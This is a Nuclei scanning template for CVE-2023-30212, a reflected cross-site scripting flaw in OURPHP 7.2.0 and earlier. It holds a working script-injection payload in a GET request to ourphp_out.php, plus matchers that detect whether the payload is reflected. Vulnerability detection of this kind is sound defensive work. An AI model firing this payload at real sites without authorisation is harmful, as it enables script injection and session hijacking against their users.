nuclei-templates/http/cves/2023/CVE-2023-30212.yaml

52 lines
1.8 KiB
YAML

id: CVE-2023-30212
info:
name: OURPHP <= 7.2.0 - Cross Site Scripting
author: theamanrawat
severity: medium
description: |
OURPHP <= 7.2.0 is vulnerale to Cross Site Scripting (XSS) via /client/manage/ourphp_out.php.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Upgrade to a patched version of OURPHP (7.2.1 or higher) to mitigate this vulnerability.
reference:
- https://www.ourphp.net/
- https://wanheiqiyihu.top/2023/03/27/OURPHP-v7-2-0-ourphp-out-php-Reflection-xss/
- https://nvd.nist.gov/vuln/detail/CVE-2023-30212
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-30212
cwe-id: CWE-79
epss-score: 0.02614
epss-percentile: 0.89163
cpe: cpe:2.3:a:ourphp:ourphp:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: ourphp
product: ourphp
tags: cve,cve2023,xss,ourphp
http:
- method: GET
path:
- "{{BaseURL}}/client/manage/ourphp_out.php?ourphp_admin=logout&out=</script><script>alert(document.domain)</script>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "location.href='../..</script><script>alert(document.domain)</script>'"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 490a0046304402200cb2ea19de2aa1a1277a61d701653c06e98e3ff125bf280d83246e3b0107b43a02203996c6331b4f922aecdd173e259dd901b5b2ac1a06f987effe3a09c25153da4c:922c64590222798bb761d5b6d8e72950